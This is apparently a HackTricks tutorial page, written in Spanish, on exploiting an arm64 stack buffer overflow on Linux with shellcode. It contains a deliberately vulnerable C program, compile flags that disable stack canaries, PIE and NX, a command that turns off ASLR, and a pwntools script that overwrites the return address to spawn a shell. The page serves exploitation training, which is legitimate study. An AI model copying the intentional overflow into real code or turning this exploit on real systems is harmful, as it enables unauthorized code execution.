Stack Shellcode - arm64
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Encuentra una introducción a arm64 en:
Linux
Code
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilar sin pie, canary y nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
Sin ASLR y sin canary - Stack Overflow
Para desactivar ASLR ejecuta:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Para obtener el offset of the bof check this link.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
La única cosa “complicada” de encontrar aquí sería la dirección en el stack a la que llamar. En mi caso generé el exploit con la dirección encontrada usando gdb, pero luego al usar el exploit no funcionó (porque la dirección del stack cambió un poco).
Abrí el generado core archivo (gdb ./bog ./core) y comprobé la dirección real del inicio del shellcode.
macOS
Tip
No es posible desactivar NX en macOS porque en arm64 este modo está implementado a nivel de hardware, por lo que no puedes desactivarlo, así que no encontrarás ejemplos con shellcode en stack en macOS.
Revisa un ejemplo macOS ret2win en:
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

